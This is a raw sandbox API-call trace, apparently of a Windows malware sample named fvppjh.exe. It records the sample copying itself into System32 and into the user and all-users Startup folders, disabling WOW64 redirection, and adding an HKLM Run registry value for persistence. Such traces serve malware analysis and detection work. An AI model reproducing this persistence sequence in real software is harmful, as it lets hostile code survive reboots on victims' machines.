	[0184.371] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0184.372] lstrlenW (lpString="dllhost.exe") returned 11
	[0184.372] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0184.372] lstrlenW (lpString="fvppjh.exe") returned 10
	[0184.372] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 0
	[0184.373] CloseHandle (hObject=0x240) returned 1
	[0184.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7800 | out: hHeap=0x5d0000) returned 1
	[0184.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7ba8 | out: hHeap=0x5d0000) returned 1
	[0184.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e61e0 | out: hHeap=0x5d0000) returned 1
	[0184.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6320 | out: hHeap=0x5d0000) returned 1
	[0184.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e5648 | out: hHeap=0x5d0000) returned 1
	[0184.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6149c8 | out: hHeap=0x5d0000) returned 1
	[0184.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e62a0 | out: hHeap=0x5d0000) returned 1
	[0184.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6060 | out: hHeap=0x5d0000) returned 1
	[0184.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60f030 | out: hHeap=0x5d0000) returned 1
	[0184.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60eef0 | out: hHeap=0x5d0000) returned 1
	[0184.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6100 | out: hHeap=0x5d0000) returned 1
	[0184.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60ef68 | out: hHeap=0x5d0000) returned 1
	[0184.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x617798
	[0184.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x6277a0
	[0184.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x614a10
	[0184.374] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614a10, Size=0x20) returned 0x60f058
	[0184.374] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60f058, Size=0x40) returned 0x5e77b8
	[0184.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x614b48
	[0184.374] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614b48, Size=0x20) returned 0x60ef68
	[0184.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6149e0
	[0184.374] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6149e0, Size=0x20) returned 0x60f030
	[0184.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x614980
	[0184.374] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614980, Size=0x20) returned 0x60f058
	[0184.374] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60f058, Size=0x40) returned 0x5e7698
	[0184.374] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6277a0, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe")) returned 0x47
	[0184.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x6377a8
	[0184.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x6477b0
	[0184.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6149e0
	[0184.375] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6149e0, Size=0x20) returned 0x60ee50
	[0184.375] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60ee50, Size=0x40) returned 0x5e7530
	[0184.375] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e7530, Size=0x80) returned 0x613958
	[0184.375] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x613958, Size=0x100) returned 0x616018
	[0184.375] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0184.375] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x616018 | out: hHeap=0x5d0000) returned 1
	[0184.375] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\fvppjh.exe", lpDst=0x6377a8, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\fvppjh.exe") returned 0x1f
	[0184.375] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6477b0 | out: hHeap=0x5d0000) returned 1
	[0184.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6377a8 | out: hHeap=0x5d0000) returned 1
	[0184.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x243d020
	[0184.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x614a70
	[0184.379] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614a70, Size=0x20) returned 0x60ee00
	[0184.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x614b90
	[0184.379] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614b90, Size=0x20) returned 0x60f058
	[0184.379] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0184.379] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0184.379] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1
	[0184.379] lstrlenW (lpString="kernel32.dll") returned 12
	[0184.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60ee00 | out: hHeap=0x5d0000) returned 1
	[0184.379] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0184.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60f058 | out: hHeap=0x5d0000) returned 1
	[0184.379] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0184.380] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\fvppjh.exe" (normalized: "c:\\windows\\system32\\fvppjh.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0184.380] ReadFile (in: hFile=0x240, lpBuffer=0x243d020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x243d020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0184.387] WriteFile (in: hFile=0x244, lpBuffer=0x243d020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x243d020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0184.390] ReadFile (in: hFile=0x240, lpBuffer=0x243d020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x243d020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0184.390] CloseHandle (hObject=0x244) returned 1
	[0184.390] CloseHandle (hObject=0x240) returned 1
	[0184.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x614980
	[0184.390] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614980, Size=0x20) returned 0x60eea0
	[0184.390] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x614980
	[0184.390] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614980, Size=0x20) returned 0x60eef0
	[0184.390] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0184.390] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0184.390] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0184.391] lstrlenW (lpString="kernel32.dll") returned 12
	[0184.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60eef0 | out: hHeap=0x5d0000) returned 1
	[0184.391] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0184.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60eea0 | out: hHeap=0x5d0000) returned 1
	[0184.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x243d020 | out: hHeap=0x5d0000) returned 1
	[0184.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x614980
	[0184.395] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614980, Size=0x20) returned 0x60eea0
	[0184.395] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60eea0, Size=0x40) returned 0x5e7800
	[0184.395] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e7800, Size=0x80) returned 0x613d10
	[0184.395] lstrlenW (lpString="C:\\WINDOWS\\System32\\fvppjh.exe") returned 30
	[0184.396] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0184.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x5c) returned 0x616018
	[0184.396] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0
	[0184.396] RegSetValueExW (in: hKey=0x240, lpValueName="fvppjh.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\fvppjh.exe", cbData=0x3c | out: lpData="C:\\WINDOWS\\System32\\fvppjh.exe") returned 0x0
	[0184.397] RegCloseKey (hKey=0x240) returned 0x0
	[0184.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x616018 | out: hHeap=0x5d0000) returned 1
	[0184.397] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0184.397] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x613d10 | out: hHeap=0x5d0000) returned 1
	[0184.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x6377a8
	[0184.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x6477b0
	[0184.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x614a10
	[0184.397] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614a10, Size=0x20) returned 0x60f058
	[0184.397] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60f058, Size=0x40) returned 0x5e7ad0
	[0184.397] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e7ad0, Size=0x80) returned 0x614260
	[0184.397] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614260, Size=0x100) returned 0x616018
	[0184.397] lstrlenW (lpString="") returned 0
	[0184.397] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0184.397] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c) returned 0x616120
	[0184.398] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0
	[0184.398] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x6477b0, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x6477b0*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2
	[0184.398] RegCloseKey (hKey=0x240) returned 0x0
	[0184.398] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x616120 | out: hHeap=0x5d0000) returned 1
	[0184.398] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0184.398] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c) returned 0x616120
	[0184.398] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0184.399] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x6477b0, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0
	[0184.399] RegCloseKey (hKey=0x244) returned 0x0
	[0184.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x616120 | out: hHeap=0x5d0000) returned 1
	[0184.399] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75
	[0184.399] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0184.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x616018 | out: hHeap=0x5d0000) returned 1
	[0184.399] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe", lpDst=0x6377a8, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe") returned 0x59
	[0184.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6477b0 | out: hHeap=0x5d0000) returned 1
	[0184.399] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6377a8 | out: hHeap=0x5d0000) returned 1
	[0184.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x2437020
	[0184.403] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x614a58
	[0184.403] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614a58, Size=0x20) returned 0x60edd8
	[0184.403] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x614980
	[0184.403] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614980, Size=0x20) returned 0x60f058
	[0184.403] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0184.403] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0184.403] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0184.403] lstrlenW (lpString="kernel32.dll") returned 12
	[0184.403] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60edd8 | out: hHeap=0x5d0000) returned 1
	[0184.403] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0184.403] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60f058 | out: hHeap=0x5d0000) returned 1
	[0184.403] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0184.403] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248
	[0184.555] ReadFile (in: hFile=0x244, lpBuffer=0x2437020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2437020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0184.564] WriteFile (in: hFile=0x248, lpBuffer=0x2437020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2437020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0184.611] ReadFile (in: hFile=0x244, lpBuffer=0x2437020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2437020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0184.611] CloseHandle (hObject=0x248) returned 1
	[0184.611] CloseHandle (hObject=0x244) returned 1
	[0184.611] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x614b78
	[0184.611] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614b78, Size=0x20) returned 0x60f058
	[0184.611] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6149e0
	[0184.611] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6149e0, Size=0x20) returned 0x60ee50
	[0184.611] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0184.612] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0184.612] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0184.612] lstrlenW (lpString="kernel32.dll") returned 12
	[0184.612] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60ee50 | out: hHeap=0x5d0000) returned 1
	[0184.612] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0184.612] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60f058 | out: hHeap=0x5d0000) returned 1
	[0184.612] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x2437020 | out: hHeap=0x5d0000) returned 1
	[0184.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x6377a8
	[0184.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x6477b0
	[0184.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6149e0
	[0184.617] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6149e0, Size=0x20) returned 0x60f058
	[0184.617] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60f058, Size=0x40) returned 0x5e79f8
	[0184.617] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e79f8, Size=0x80) returned 0x613d10
	[0184.617] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x613d10, Size=0x100) returned 0x616018
	[0184.617] lstrlenW (lpString="") returned 0
	[0184.617] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0184.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c) returned 0x616120
	[0184.617] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0184.617] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x6477b0, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0
	[0184.618] RegCloseKey (hKey=0x244) returned 0x0
	[0184.618] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x616120 | out: hHeap=0x5d0000) returned 1
	[0184.618] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59
	[0184.618] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0184.618] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x616018 | out: hHeap=0x5d0000) returned 1
	[0184.618] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe", lpDst=0x6377a8, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe") returned 0x48
	[0184.618] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6477b0 | out: hHeap=0x5d0000) returned 1
	[0184.618] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6377a8 | out: hHeap=0x5d0000) returned 1
	[0184.619] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x2438020
	[0184.621] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6149c8
	[0184.621] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6149c8, Size=0x20) returned 0x60f058
	[0184.621] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x614b78
	[0184.621] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614b78, Size=0x20) returned 0x60edb0
	[0184.622] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0184.622] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0184.622] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0184.622] lstrlenW (lpString="kernel32.dll") returned 12
	[0184.622] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60f058 | out: hHeap=0x5d0000) returned 1
	[0184.622] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0184.622] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60edb0 | out: hHeap=0x5d0000) returned 1
	[0184.622] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0184.622] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0184.622] CloseHandle (hObject=0x244) returned 1
	[0184.622] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x614b78
	[0184.622] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614b78, Size=0x20) returned 0x60f058
	[0184.622] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x614980
	[0184.622] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614980, Size=0x20) returned 0x60ee50
	[0184.622] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0184.622] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0184.622] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0184.623] lstrlenW (lpString="kernel32.dll") returned 12
	[0184.623] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60ee50 | out: hHeap=0x5d0000) returned 1
	[0184.623] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0184.623] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60f058 | out: hHeap=0x5d0000) returned 1
	[0184.623] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x2438020 | out: hHeap=0x5d0000) returned 1
	[0184.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x617798 | out: hHeap=0x5d0000) returned 1
	[0184.625] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6277a0 | out: hHeap=0x5d0000) returned 1
	[0184.627] lstrlenW (lpString="%windir%\\System32") returned 17
	[0184.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e77b8 | out: hHeap=0x5d0000) returned 1
	[0184.627] lstrlenW (lpString="%appdata%") returned 9
	[0184.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60ef68 | out: hHeap=0x5d0000) returned 1
	[0184.627] lstrlenW (lpString="%sh(Startup)%") returned 13
	[0184.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60f030 | out: hHeap=0x5d0000) returned 1
	[0184.627] lstrlenW (lpString="%sh(Common Startup)%") returned 20
	[0184.627] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7698 | out: hHeap=0x5d0000) returned 1
	[0184.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x614ad0
	[0184.627] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614ad0, Size=0x20) returned 0x60eef0
	[0184.627] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60eef0, Size=0x40) returned 0x5e7698
	[0184.627] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e7698, Size=0x80) returned 0x613b78
	[0184.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6149b0
	[0184.627] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6149b0, Size=0x20) returned 0x60ee50
	[0184.627] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1fffc) returned 0x617798
	[0184.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x6377a0
	[0184.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x6477a8
